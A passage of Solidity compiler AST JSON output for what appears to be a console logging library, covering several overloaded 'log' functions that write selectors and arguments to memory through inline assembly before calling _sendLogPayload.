iteral","src":"33594:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"33600:2:22","nodeType":"YulIdentifier","src":"33600:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33587:6:22","nodeType":"YulIdentifier","src":"33587:6:22"},"nativeSrc":"33587:16:22","nodeType":"YulFunctionCall","src":"33587:16:22"},"nativeSrc":"33587:16:22","nodeType":"YulExpressionStatement","src":"33587:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33623:4:22","nodeType":"YulLiteral","src":"33623:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"33629:2:22","nodeType":"YulIdentifier","src":"33629:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33616:6:22","nodeType":"YulIdentifier","src":"33616:6:22"},"nativeSrc":"33616:16:22","nodeType":"YulFunctionCall","src":"33616:16:22"},"nativeSrc":"33616:16:22","nodeType":"YulExpressionStatement","src":"33616:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34724,"isOffset":false,"isSlot":false,"src":"33542:2:22","valueSize":1},{"declaration":34727,"isOffset":false,"isSlot":false,"src":"33571:2:22","valueSize":1},{"declaration":34730,"isOffset":false,"isSlot":false,"src":"33600:2:22","valueSize":1},{"declaration":34733,"isOffset":false,"isSlot":false,"src":"33629:2:22","valueSize":1}],"id":34741,"nodeType":"InlineAssembly","src":"33506:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32999:3:22","parameters":{"id":34721,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34716,"mutability":"mutable","name":"p0","nameLocation":"33008:2:22","nodeType":"VariableDeclaration","scope":34743,"src":"33003:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34715,"name":"bool","nodeType":"ElementaryTypeName","src":"33003:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34718,"mutability":"mutable","name":"p1","nameLocation":"33020:2:22","nodeType":"VariableDeclaration","scope":34743,"src":"33012:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34717,"name":"address","nodeType":"ElementaryTypeName","src":"33012:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34720,"mutability":"mutable","name":"p2","nameLocation":"33032:2:22","nodeType":"VariableDeclaration","scope":34743,"src":"33024:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34719,"name":"address","nodeType":"ElementaryTypeName","src":"33024:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"33002:33:22"},"returnParameters":{"id":34722,"nodeType":"ParameterList","parameters":[],"src":"33050:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34772,"nodeType":"FunctionDefinition","src":"33654:652:22","nodes":[],"body":{"id":34771,"nodeType":"Block","src":"33711:595:22","nodes":[],"statements":[{"assignments":[34753],"declarations":[{"constant":false,"id":34753,"mutability":"mutable","name":"m0","nameLocation":"33729:2:22","nodeType":"VariableDeclaration","scope":34771,"src":"33721:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34752,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33721:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34754,"nodeType":"VariableDeclarationStatement","src":"33721:10:22"},{"assignments":[34756],"declarations":[{"constant":false,"id":34756,"mutability":"mutable","name":"m1","nameLocation":"33749:2:22","nodeType":"VariableDeclaration","scope":34771,"src":"33741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34755,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33741:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34757,"nodeType":"VariableDeclarationStatement","src":"33741:10:22"},{"assignments":[34759],"declarations":[{"constant":false,"id":34759,"mutability":"mutable","name":"m2","nameLocation":"33769:2:22","nodeType":"VariableDeclaration","scope":34771,"src":"33761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34758,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33761:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34760,"nodeType":"VariableDeclarationStatement","src":"33761:10:22"},{"assignments":[34762],"declarations":[{"constant":false,"id":34762,"mutability":"mutable","name":"m3","nameLocation":"33789:2:22","nodeType":"VariableDeclaration","scope":34771,"src":"33781:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34761,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33781:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34763,"nodeType":"VariableDeclarationStatement","src":"33781:10:22"},{"AST":{"nativeSrc":"33810:308:22","nodeType":"YulBlock","src":"33810:308:22","statements":[{"nativeSrc":"33824:17:22","nodeType":"YulAssignment","src":"33824:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33836:4:22","nodeType":"YulLiteral","src":"33836:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"33830:5:22","nodeType":"YulIdentifier","src":"33830:5:22"},"nativeSrc":"33830:11:22","nodeType":"YulFunctionCall","src":"33830:11:22"},"variableNames":[{"name":"m0","nativeSrc":"33824:2:22","nodeType":"YulIdentifier","src":"33824:2:22"}]},{"nativeSrc":"33854:17:22","nodeType":"YulAssignment","src":"33854:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33866:4:22","nodeType":"YulLiteral","src":"33866:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"33860:5:22","nodeType":"YulIdentifier","src":"33860:5:22"},"nativeSrc":"33860:11:22","nodeType":"YulFunctionCall","src":"33860:11:22"},"variableNames":[{"name":"m1","nativeSrc":"33854:2:22","nodeType":"YulIdentifier","src":"33854:2:22"}]},{"nativeSrc":"33884:17:22","nodeType":"YulAssignment","src":"33884:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33896:4:22","nodeType":"YulLiteral","src":"33896:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"33890:5:22","nodeType":"YulIdentifier","src":"33890:5:22"},"nativeSrc":"33890:11:22","nodeType":"YulFunctionCall","src":"33890:11:22"},"variableNames":[{"name":"m2","nativeSrc":"33884:2:22","nodeType":"YulIdentifier","src":"33884:2:22"}]},{"nativeSrc":"33914:17:22","nodeType":"YulAssignment","src":"33914:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33926:4:22","nodeType":"YulLiteral","src":"33926:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"33920:5:22","nodeType":"YulIdentifier","src":"33920:5:22"},"nativeSrc":"33920:11:22","nodeType":"YulFunctionCall","src":"33920:11:22"},"variableNames":[{"name":"m3","nativeSrc":"33914:2:22","nodeType":"YulIdentifier","src":"33914:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34004:4:22","nodeType":"YulLiteral","src":"34004:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"34010:10:22","nodeType":"YulLiteral","src":"34010:10:22","type":"","value":"0x18c9c746"}],"functionName":{"name":"mstore","nativeSrc":"33997:6:22","nodeType":"YulIdentifier","src":"33997:6:22"},"nativeSrc":"33997:24:22","nodeType":"YulFunctionCall","src":"33997:24:22"},"nativeSrc":"33997:24:22","nodeType":"YulExpressionStatement","src":"33997:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34041:4:22","nodeType":"YulLiteral","src":"34041:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"34047:2:22","nodeType":"YulIdentifier","src":"34047:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34034:6:22","nodeType":"YulIdentifier","src":"34034:6:22"},"nativeSrc":"34034:16:22","nodeType":"YulFunctionCall","src":"34034:16:22"},"nativeSrc":"34034:16:22","nodeType":"YulExpressionStatement","src":"34034:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34070:4:22","nodeType":"YulLiteral","src":"34070:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"34076:2:22","nodeType":"YulIdentifier","src":"34076:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34063:6:22","nodeType":"YulIdentifier","src":"34063:6:22"},"nativeSrc":"34063:16:22","nodeType":"YulFunctionCall","src":"34063:16:22"},"nativeSrc":"34063:16:22","nodeType":"YulExpressionStatement","src":"34063:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34099:4:22","nodeType":"YulLiteral","src":"34099:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"34105:2:22","nodeType":"YulIdentifier","src":"34105:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34092:6:22","nodeType":"YulIdentifier","src":"34092:6:22"},"nativeSrc":"34092:16:22","nodeType":"YulFunctionCall","src":"34092:16:22"},"nativeSrc":"34092:16:22","nodeType":"YulExpressionStatement","src":"34092:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34753,"isOffset":false,"isSlot":false,"src":"33824:2:22","valueSize":1},{"declaration":34756,"isOffset":false,"isSlot":false,"src":"33854:2:22","valueSize":1},{"declaration":34759,"isOffset":false,"isSlot":false,"src":"33884:2:22","valueSize":1},{"declaration":34762,"isOffset":false,"isSlot":false,"src":"33914:2:22","valueSize":1},{"declaration":34745,"isOffset":false,"isSlot":false,"src":"34047:2:22","valueSize":1},{"declaration":34747,"isOffset":false,"isSlot":false,"src":"34076:2:22","valueSize":1},{"declaration":34749,"isOffset":false,"isSlot":false,"src":"34105:2:22","valueSize":1}],"id":34764,"nodeType":"InlineAssembly","src":"33801:317:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34766,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"34143:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"34149:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34765,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"34127:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34127:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34769,"nodeType":"ExpressionStatement","src":"34127:27:22"},{"AST":{"nativeSrc":"34173:127:22","nodeType":"YulBlock","src":"34173:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"34194:4:22","nodeType":"YulLiteral","src":"34194:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"34200:2:22","nodeType":"YulIdentifier","src":"34200:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34187:6:22","nodeType":"YulIdentifier","src":"34187:6:22"},"nativeSrc":"34187:16:22","nodeType":"YulFunctionCall","src":"34187:16:22"},"nativeSrc":"34187:16:22","nodeType":"YulExpressionStatement","src":"34187:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34223:4:22","nodeType":"YulLiteral","src":"34223:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"34229:2:22","nodeType":"YulIdentifier","src":"34229:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34216:6:22","nodeType":"YulIdentifier","src":"34216:6:22"},"nativeSrc":"34216:16:22","nodeType":"YulFunctionCall","src":"34216:16:22"},"nativeSrc":"34216:16:22","nodeType":"YulExpressionStatement","src":"34216:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34252:4:22","nodeType":"YulLiteral","src":"34252:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"34258:2:22","nodeType":"YulIdentifier","src":"34258:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34245:6:22","nodeType":"YulIdentifier","src":"34245:6:22"},"nativeSrc":"34245:16:22","nodeType":"YulFunctionCall","src":"34245:16:22"},"nativeSrc":"34245:16:22","nodeType":"YulExpressionStatement","src":"34245:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34281:4:22","nodeType":"YulLiteral","src":"34281:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"34287:2:22","nodeType":"YulIdentifier","src":"34287:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34274:6:22","nodeType":"YulIdentifier","src":"34274:6:22"},"nativeSrc":"34274:16:22","nodeType":"YulFunctionCall","src":"34274:16:22"},"nativeSrc":"34274:16:22","nodeType":"YulExpressionStatement","src":"34274:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34753,"isOffset":false,"isSlot":false,"src":"34200:2:22","valueSize":1},{"declaration":34756,"isOffset":false,"isSlot":false,"src":"34229:2:22","valueSize":1},{"declaration":34759,"isOffset":false,"isSlot":false,"src":"34258:2:22","valueSize":1},{"declaration":34762,"isOffset":false,"isSlot":false,"src":"34287:2:22","valueSize":1}],"id":34770,"nodeType":"InlineAssembly","src":"34164:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"33663:3:22","parameters":{"id":34750,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34745,"mutability":"mutable","name":"p0","nameLocation":"33672:2:22","nodeType":"VariableDeclaration","scope":34772,"src":"33667:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34744,"name":"bool","nodeType":"ElementaryTypeName","src":"33667:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34747,"mutability":"mutable","name":"p1","nameLocation":"33684:2:22","nodeType":"VariableDeclaration","scope":34772,"src":"33676:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34746,"name":"address","nodeType":"ElementaryTypeName","src":"33676:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34749,"mutability":"mutable","name":"p2","nameLocation":"33693:2:22","nodeType":"VariableDeclaration","scope":34772,"src":"33688:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34748,"name":"bool","nodeType":"ElementaryTypeName","src":"33688:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"33666:30:22"},"returnParameters":{"id":34751,"nodeType":"ParameterList","parameters":[],"src":"33711:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34801,"nodeType":"FunctionDefinition","src":"34312:658:22","nodes":[],"body":{"id":34800,"nodeType":"Block","src":"34372:598:22","nodes":[],"statements":[{"assignments":[34782],"declarations":[{"constant":false,"id":34782,"mutability":"mutable","name":"m0","nameLocation":"34390:2:22","nodeType":"VariableDeclaration","scope":34800,"src":"34382:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34781,"name":"bytes32","nodeType":"ElementaryTypeName","src":"34382:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34783,"nodeType":"VariableDeclarationStatement","src":"34382:10:22"},{"assignments":[34785],"declarations":[{"constant":false,"id":34785,"mutability":"mutable","name":"m1","nameLocation":"34410:2:22","nodeType":"VariableDeclaration","scope":34800,"src":"34402:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34784,"name":"bytes32","nodeType":"ElementaryTypeName","src":"34402:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34786,"nodeType":"VariableDeclarationStatement","src":"34402:10:22"},{"assignments":[34788],"declarations":[{"constant":false,"id":34788,"mutability":"mutable","name":"m2","nameLocation":"34430:2:22","nodeType":"VariableDeclaration","scope":34800,"src":"34422:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34787,"name":"bytes32","nodeType":"ElementaryTypeName","src":"34422:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34789,"nodeType":"VariableDeclarationStatement","src":"34422:10:22"},{"assignments":[34791],"declarations":[{"constant":false,"id":34791,"mutability":"mutable","name":"m3","nameLocation":"34450:2:22","nodeType":"VariableDeclaration","scope":34800,"src":"34442:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34790,"name":"bytes32","nodeType":"ElementaryTypeName","src":"34442:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34792,"nodeType":"VariableDeclarationStatement","src":"34442:10:22"},{"AST":{"nativeSrc":"34471:311:22","nodeType":"YulBlock","src":"34471:311:22","statements":[{"nativeSrc":"34485:17:22","nodeType":"YulAssignment","src":"34485:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"34497:4:22","nodeType":"YulLiteral","src":"34497:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"34491:5:22","nodeType":"YulIdentifier","src":"34491:5:22"},"nativeSrc":"34491:11:22","nodeType":"YulFunctionCall","src":"34491:11:22"},"variableNames":[{"name":"m0","nativeSrc":"34485:2:22","nodeType":"YulIdentifier","src":"34485:2:22"}]},{"nativeSrc":"34515:17:22","nodeType":"YulAssignment","src":"34515:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"34527:4:22","nodeType":"YulLiteral","src":"34527:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"34521:5:22","nodeType":"YulIdentifier","src":"34521:5:22"},"nativeSrc":"34521:11:22","nodeType":"YulFunctionCall","src":"34521:11:22"},"variableNames":[{"name":"m1","nativeSrc":"34515:2:22","nodeType":"YulIdentifier","src":"34515:2:22"}]},{"nativeSrc":"34545:17:22","nodeType":"YulAssignment","src":"34545:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"34557:4:22","nodeType":"YulLiteral","src":"34557:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"34551:5:22","nodeType":"YulIdentifier","src":"34551:5:22"},"nativeSrc":"34551:11:22","nodeType":"YulFunctionCall","src":"34551:11:22"},"variableNames":[{"name":"m2","nativeSrc":"34545:2:22","nodeType":"YulIdentifier","src":"34545:2:22"}]},{"nativeSrc":"34575:17:22","nodeType":"YulAssignment","src":"34575:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"34587:4:22","nodeType":"YulLiteral","src":"34587:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"34581:5:22","nodeType":"YulIdentifier","src":"34581:5:22"},"nativeSrc":"34581:11:22","nodeType":"YulFunctionCall","src":"34581:11:22"},"variableNames":[{"name":"m3","nativeSrc":"34575:2:22","nodeType":"YulIdentifier","src":"34575:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34668:4:22","nodeType":"YulLiteral","src":"34668:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"34674:10:22","nodeType":"YulLiteral","src":"34674:10:22","type":"","value":"0x5f7b9afb"}],"functionName":{"name":"mstore","nativeSrc":"34661:6:22","nodeType":"YulIdentifier","src":"34661:6:22"},"nativeSrc":"34661:24:22","nodeType":"YulFunctionCall","src":"34661:24:22"},"nativeSrc":"34661:24:22","nodeType":"YulExpressionStatement","src":"34661:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34705:4:22","nodeType":"YulLiteral","src":"34705:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"34711:2:22","nodeType":"YulIdentifier","src":"34711:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34698:6:22","nodeType":"YulIdentifier","src":"34698:6:22"},"nativeSrc":"34698:16:22","nodeType":"YulFunctionCall","src":"34698:16:22"},"nativeSrc":"34698:16:22","nodeType":"YulExpressionStatement","src":"34698:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34734:4:22","nodeType":"YulLiteral","src":"34734:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"34740:2:22","nodeType":"YulIdentifier","src":"34740:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34727:6:22","nodeType":"YulIdentifier","src":"34727:6:22"},"nativeSrc":"34727:16:22","nodeType":"YulFunctionCall","src":"34727:16:22"},"nativeSrc":"34727:16:22","nodeType":"YulExpressionStatement","src":"34727:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34763:4:22","nodeType":"YulLiteral","src":"34763:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"34769:2:22","nodeType":"YulIdentifier","src":"34769:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34756:6:22","nodeType":"YulIdentifier","src":"34756:6:22"},"nativeSrc":"34756:16:22","nodeType":"YulFunctionCall","src":"34756:16:22"},"nativeSrc":"34756:16:22","nodeType":"YulExpressionStatement","src":"34756:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34782,"isOffset":false,"isSlot":false,"src":"34485:2:22","valueSize":1},{"declaration":34785,"isOffset":false,"isSlot":false,"src":"34515:2:22","valueSize":1},{"declaration":34788,"isOffset":false,"isSlot":false,"src":"34545:2:22","valueSize":1},{"declaration":34791,"isOffset":false,"isSlot":false,"src":"34575:2:22","valueSize":1},{"declaration":34774,"isOffset":false,"isSlot":false,"src":"34711:2:22","valueSize":1},{"declaration":34776,"isOffset":false,"isSlot":false,"src":"34740:2:22","valueSize":1},{"declaration":34778,"isOffset":false,"isSlot":false,"src":"34769:2:22","valueSize":1}],"id":34793,"nodeType":"InlineAssembly","src":"34462:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34795,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"34807:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34796,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"34813:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34794,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"34791:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34797,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34791:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34798,"nodeType":"ExpressionStatement","src":"34791:27:22"},{"AST":{"nativeSrc":"34837:127:22","nodeType":"YulBlock","src":"34837:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"34858:4:22","nodeType":"YulLiteral","src":"34858:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"34864:2:22","nodeType":"YulIdentifier","src":"34864:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34851:6:22","nodeType":"YulIdentifier","src":"34851:6:22"},"nativeSrc":"34851:16:22","nodeType":"YulFunctionCall","src":"34851:16:22"},"nativeSrc":"34851:16:22","nodeType":"YulExpressionStatement","src":"34851:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34887:4:22","nodeType":"YulLiteral","src":"34887:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"34893:2:22","nodeType":"YulIdentifier","src":"34893:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34880:6:22","nodeType":"YulIdentifier","src":"34880:6:22"},"nativeSrc":"34880:16:22","nodeType":"YulFunctionCall","src":"34880:16:22"},"nativeSrc":"34880:16:22","nodeType":"YulExpressionStatement","src":"34880:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34916:4:22","nodeType":"YulLiteral","src":"34916:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"34922:2:22","nodeType":"YulIdentifier","src":"34922:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34909:6:22","nodeType":"YulIdentifier","src":"34909:6:22"},"nativeSrc":"34909:16:22","nodeType":"YulFunctionCall","src":"34909:16:22"},"nativeSrc":"34909:16:22","nodeType":"YulExpressionStatement","src":"34909:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"34945:4:22","nodeType":"YulLiteral","src":"34945:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"34951:2:22","nodeType":"YulIdentifier","src":"34951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"34938:6:22","nodeType":"YulIdentifier","src":"34938:6:22"},"nativeSrc":"34938:16:22","nodeType":"YulFunctionCall","src":"34938:16:22"},"nativeSrc":"34938:16:22","nodeType":"YulExpressionStatement","src":"34938:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34782,"isOffset":false,"isSlot":false,"src":"34864:2:22","valueSize":1},{"declaration":34785,"isOffset":false,"isSlot":false,"src":"34893:2:22","valueSize":1},{"declaration":34788,"isOffset":false,"isSlot":false,"src":"34922:2:22","valueSize":1},{"declaration":34791,"isOffset":false,"isSlot":false,"src":"34951:2:22","valueSize":1}],"id":34799,"nodeType":"InlineAssembly","src":"34828:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34321:3:22","parameters":{"id":34779,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34774,"mutability":"mutable","name":"p0","nameLocation":"34330:2:22","nodeType":"VariableDeclaration","scope":34801,"src":"34325:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34773,"name":"bool","nodeType":"ElementaryTypeName","src":"34325:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":34776,"mutability":"mutable","name":"p1","nameLocation":"34342:2:22","nodeType":"VariableDeclaration","scope":34801,"src":"34334:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34775,"name":"address","nodeType":"ElementaryTypeName","src":"34334:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34778,"mutability":"mutable","name":"p2","nameLocation":"34354:2:22","nodeType":"VariableDeclaration","scope":34801,"src":"34346:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34777,"name":"uint256","nodeType":"ElementaryTypeName","src":"34346:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"34324:33:22"},"returnParameters":{"id":34780,"nodeType":"ParameterList","parameters":[],"src":"34372:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34836,"nodeType":"FunctionDefinition","src":"34976:1206:22","nodes":[],"body":{"id":34835,"nodeType":"Block","src":"35036:1146:22","nodes":[],"statements":[{"assignments":[34811],"declarations":[{"constant":false,"id":34811,"mutability":"mutable","name":"m0","nameLocation":"35054:2:22","nodeType":"VariableDeclaration","scope":34835,"src":"35046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34810,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34812,"nodeType":"VariableDeclarationStatement","src":"35046:10:22"},{"assignments":[34814],"declarations":[{"constant":false,"id":34814,"mutability":"mutable","name":"m1","nameLocation":"35074:2:22","nodeType":"VariableDeclaration","scope":34835,"src":"35066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34813,"name":"bytes32","nodeType":"ElementaryTypeNa